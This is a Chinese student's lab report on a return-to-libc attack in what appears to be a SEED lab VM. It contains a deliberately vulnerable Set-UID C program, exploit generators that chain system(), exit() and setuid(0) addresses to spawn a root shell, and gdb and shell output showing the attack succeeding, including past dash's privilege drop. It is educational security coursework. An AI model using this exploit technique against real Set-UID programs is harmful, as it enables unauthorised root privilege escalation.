信息安全实验报告

Lab 6　Return to Libc

孙铁

SA20225414

实验开始之前，需要将针对缓冲区溢出攻击的相关防御机制关闭：

1. 关闭地址空间随机化；

```
[05/02/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

2. 关闭“Stack Guard”机制，在编译相关程序时设置对应参数；
3. 与普通的缓冲区溢出不同，本次实验要设置不允许栈执行，在编译相关程序时设置对应参数；
4. 将 /bin/sh 链接到 /bin/zsh。

```
[05/02/21]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

Task 1

创建文件 retlib.c：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 200 (cannot exceed 300, or
* the program won't have a buffer-overflow problem). */
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(FILE *badfile)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 300, badfile);

    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters
    for this lab. Need to use the array at least once */

    char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);
    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}
```

本代码的作用是使用 bof 函数读取 badfile 的内容，并将其复制到缓冲区。

编译并设置关闭“Stack Guard”机制，不允许栈运行。不设置-DBUF_SIZE 字段，令 BUF_SIZE 使用默认的值 12。将产生的可执行文件 retlib 设置为 root 的 Set-UID 程序：

```
[05/03/21]seed@VM:~/lab6$ gcc -g -fno-stack-protector -z noexecstack -o retlib r
etlib.c
[05/03/21]seed@VM:~/lab6$ sudo chown root retlib
[05/03/21]seed@VM:~/lab6$ sudo chmod 4755 retlib
```

使用 gdb 来对 retlib 进行调试跟踪：

```
[05/02/21]seed@VM:~/lab6$ touch badfile
[05/02/21]seed@VM:~/lab6$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/lab6/retlib
Returned Properly
[Inferior 1 (process 3439) exited with code 01]
```

这里需要用“run”指令来执行，不然 libc 函数库不会被加载到内存中。

打印 system 函数以及 exit 函数地址：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
[05/02/21]seed@VM:~/lab6$
```

Task 2

考虑如何令 system 函数运行“/bin/sh”命令来获取一个 shell。

首先需要让内存中有一个字符串“/bin/sh”，然后将字符串地址作为参数传给 system 函数。利用环境变量传递给子进程的机制就可以让字符串进入程序内存。

定义一个环境变量 MYSHELL=“/bin/sh”：

```
[05/03/21]seed@VM:~/lab6$ export MYSHELL=/bin/sh
[05/03/21]seed@VM:~/lab6$ env | grep MYSHELL
MYSHELL=/bin/sh
```

这样执行漏洞程序时，MYSHELL 环境变量就会出现在程序的内存中，接下来需要找到 MYSHELL 在内存中的地址。

创建文件 envaddr.c：

```c
void main()
{
    char* shell = getenv("MYSHELL");

    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

代码作用是打印出此进程内存中 MYSHELL 环境变量的地址。

编译运行 envaddr.c，得到环境变量 MYSHELL 即字符串“/bin/sh”地址。

```
[05/03/21]seed@VM:~/lab6$ ./envaddr
bffffe1a
```

需要注意的是，在环境变量入栈之前，需要将程序名称压入栈，这就导致程序名称的长度会影响此程序内存中环境变量的地址。

Task 3

创建文件 exploit.c：

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;

    badfile = fopen("./badfile", "w");

    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    *(long *) &buf[X] = some address ; // "/bin/sh" ☆
    *(long *) &buf[Y] = some address ; // system() ☆
    *(long *) &buf[Z] = some address ; // exit() ☆


    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

此代码作用是将 char 类型数组 buf 写入 badfile 文件。为了使攻击成功，需要修改 buf 数组的特定位置，在 buf[X]放入 system 参数的地址，在 buf[Y]放入 system 函数地址，在 buf[Z]放入 exit 函数地址。

将 envaddr.c 编译为与漏洞程序 retlib 名字长度相同的可执行文件 env555：

```
[05/03/21]seed@VM:~/lab6$ gcc -o env555 envaddr.c
```

得到 retlib 执行时字符串“/bin/sh”的地址：

```
[05/03/21]seed@VM:~/lab6$ ./env555
bffffe1c
```

跟踪调试 retlib，在被调函数 bof 处打上断点，运行到 bof 函数：

```
[05/03/21]seed@VM:~/lab6$ gdb -q retlib
Reading symbols from retlib...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file retlib.c, line 19.
gdb-peda$ r
Starting program: /home/seed/lab6/retlib
```

查看此时 ebp 与 buffer 的地址：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffed38
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xbfffed24
```

可以看到 ebp 与 buffer 地址差值为 0x14，也就是说此时 ebp 放在 buf[20]上，bof 的函数调用栈的返回地址在 buf[24]。此时将 system 函数地址放在 buf[24]就可以让 system 函数调用取代函数返回操作。在此基础上可以推算得到 exit 函数地址要放在 buf[28]，system 函数参数“/bin/sh”的地址要放在 buf[32]。

将对应地址填入 exploit.c 中：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;

    badfile = fopen("./badfile", "w");

    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    *(long *) &buf[32] = 0xbffffe1c ; // "/bin/sh" ☆
    *(long *) &buf[24] = 0xb7e42da0 ; // system() ☆
    *(long *) &buf[28] = 0xb7e369d0 ; // exit() ☆

    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}
```

编译并运行 exploit，然后运行 retlib：

```
[05/03/21]seed@VM:~/lab6$ gcc exploit.c -o exploit
[05/03/21]seed@VM:~/lab6$ ./exploit
[05/03/21]seed@VM:~/lab6$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功得到 root 权限的 shell。

变体 1：

将 exit 函数地址注释：

```
*(long *) &buf[32] = 0xbffffe1c ; // "/bin/sh" ☆
*(long *) &buf[24] = 0xb7e42da0 ; // system() ☆
//*(long *) &buf[28] = 0xb7e369d0 ; // exit() ☆
```

重新进行攻击

```
[05/03/21]seed@VM:~/lab6$ gcc exploit.c -o exploit
[05/03/21]seed@VM:~/lab6$ ./exploit
[05/03/21]seed@VM:~/lab6$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

结果没有变化，说明在执行 system 函数之前，exit 地址并不必要。

exit 函数对应的是 system 函数的返回地址，如果不加以设置，当 system 函数返回时程序可能会崩溃。但是在调用 system 函数启动 root 权限 shell 时，exit 地址设置不会产生影响。

变体 2：

将 retlib 改名为 newretlib：

```
[05/03/21]seed@VM:~/lab6$ gcc -g -fno-stack-protector -z noexecstack -o newretli
b retlib.c
[05/03/21]seed@VM:~/lab6$ sudo chown root newretlib
[05/03/21]seed@VM:~/lab6$ sudo chmod 4755 newretlib
```

重新进行攻击：

```
[05/03/21]seed@VM:~/lab6$ gcc exploit.c -o exploit
[05/03/21]seed@VM:~/lab6$ ./exploit
[05/03/21]seed@VM:~/lab6$ ./newretlib
zsh:1: command not found: h
```

返回错误信息，“没有命令 h”。

分析错误信息可知，这是由于 system 函数被传入了错误的参数。由于程序名变长，其内存中环境变量 MYSHELL 的地址也发生了变化，这就导致之前写入

badfile 中的字符串“/bin/sh”地址与真实地址不一致。此时需要修改 env555 的名称，使之与 newretlib 名字长度相同，输出新的地址，将其填入 exploit.c 中的“/bin/sh”地址即可。

Task 4

将地址随机化开启，并重新进行攻击：

```
[05/03/21]seed@VM:~/lab6$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[05/03/21]seed@VM:~/lab6$ ./retlib
Segmentation fault
```

提示发生段错误。

gdb 调试跟踪 retlib，禁止随机化选项是默认打开的，将禁止随机化关闭：

```
gdb-peda$ set disable-randomization off
gdb-peda$ show disable-randomization
Disabling randomization of debuggee's virtual address space is off.
```

在函数 bof 处打上断点，运行至断点处:

```
Breakpoint 1, bof (badfile=0x8d90008) at retlib.c:19
19              fread(buffer, sizeof(char), 300, badfile);
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75f1da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75e59d0 <__GI_exit>
gdb-peda$ p $ebp
$3 = (void *) 0xbfe14c08
gdb-peda$ p &buffer
$4 = (char (*)[12]) 0xbfe14bf4
gdb-peda$ p/d 0xbfe14c08 - 0xbfe14bf4
$5 = 20
```

可以看到 buffer 和 ebp 的地址差依然是 20 (0X14)，说明由此地址差计算得到的 buf 数组下标 X，Y，Z 都没有发生变化，但是 system 地址和 exit 地址都发生了变化。

查看环境变量 MYSHELL 地址：

```
[05/03/21]seed@VM:~/lab6$ export MYSHELL="/bin/sh"
[05/03/21]seed@VM:~/lab6$ ./env555
bfdf6e1c
[05/03/21]seed@VM:~/lab6$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[05/03/21]seed@VM:~/lab6$ ./env555
bf8cce1c
```

发现关闭地址随机化前后 MYSHELL 地址发生变化。

Task 5

尝试在 dash 下进行攻击，将 shell 连接至 dash：

```
[05/03/21]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
```

重新进行攻击：

```
[05/03/21]seed@VM:~/lab6$ ./retlib
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
```

发现获得的只是普通权限的 shell，这是因为 dash 拥有防御机制，当它运行在 Set-UID 进程时，会将有效 ID 变成实际 ID，主动放弃特权。

为了获取 root 权限的 shell，尝试在 system 函数之前调用 setuid(0)来攻破 dash 的防御机制。

关闭地址随机化，调试跟踪 retlib，打印 system 函数，exit 函数，setuid 函数地址：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ p setuid
$3 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
```

创建文件 exploit5.c：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
        char buf[120];
        FILE *badfile;

        badfile = fopen("./badfile", "w");

        /* You need to decide the addresses and
        the values for X, Y, Z. The order of the following
        three statements does not imply the order of X, Y, Z.
        Actually, we intentionally scrambled the order.*/

        *(long *) &buf[24] = 0xb7eb9170 ; // setuid() ☆
        *(long *) &buf[28] = 0xb7e42da0 ; // system() ☆
        *(long *) &buf[32] = 0x00000000 ; // 0 ☆
        *(long *) &buf[36] = 0xbffffe1c ; // "/bin/sh" ☆
        //*(long *) &buf[40] = 0xb7e369d0 ; // exit() ☆

        fwrite(buf, sizeof(buf), 1, badfile);
        fclose(badfile);
}
```

将 setuid 函数地址放在 buf[24]，将函数参数 0 的地址放在 buf[32]，在返回地址 buf[28]放入 system 函数，再将 system 函数的参数“/bin/sh”放入 buf[36]。

编译并运行 exploit5.c，重新进行攻击：

```
[05/03/21]seed@VM:~/lab6$ gcc -o exploit5 exploit5.c
[05/03/21]seed@VM:~/lab6$ export MYSHELL="/bin/sh"
[05/03/21]seed@VM:~/lab6$ ./exploit5
[05/03/21]seed@VM:~/lab6$ ./retlib
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

成功攻破 dash，得到 root 权限的 shell。